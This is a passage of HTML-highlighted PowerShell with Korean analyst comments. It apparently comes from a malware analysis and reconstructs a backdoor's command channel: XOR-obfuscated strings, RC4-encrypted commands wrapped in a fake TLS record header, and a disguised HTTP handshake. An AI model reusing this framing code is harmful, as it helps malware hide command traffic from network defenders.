class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Output&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Byte&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-bxor&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# XOR 연산으로 데이터 복호화/암호화&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Output&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 명령을 암호화하여 전송 형식에 맞게 구성하는 함수&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;EncodeAndEncryptCommand&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CommandString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CommandBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UTF8.GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CommandString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# RC4 암호화 + 0x02, 0x04, 0x06, 0x08 바이트 추가 (패딩 또는 특정 프로토콜 포맷으로 추정)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncryptedCommandBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;RC4&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$RC4Key&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Data&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$CommandBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x06&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x08&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncryptedCommandBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# Little-endian을 Big-endian으로 변환&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# (0x17, 0x03, 0x03) 헤더 + 길이 + 암호화된 명령&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x17&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$EncryptedCommandBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 초기 핸드셰이크 또는 초기 데이터 전송을 위한 메시지를 생성하는 함수&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;GenerateInitialMessage&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# &quot;GET / HTTP/1.1&quot; 문자열을 XOR 복호화&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedString&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;XORDecryptBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-EncryptedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;168&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;187&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;172&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;183&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;184&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;167&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;240&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;186&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;171&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;169&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;176&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;177&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;176&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;186&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;187&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;172&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;240&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;189&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;177&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;179&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-XORKey&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;222&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# &quot;GET / HTTP/1.1`r`nHost: &quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AsciiBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ASCII.GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$DecryptedString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AsciiBytes&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$AsciiBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes2&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part2&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes2&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BitConverter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;UInt16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Reverse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$LengthBytes3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$Part2&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 고정된 바이트 배열 (추가적인 프로토콜 헤더 또는 데이터로 추정)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$FixedBytes&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;04&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;03&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;01&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;00&lt;/span&gt;&lt;span 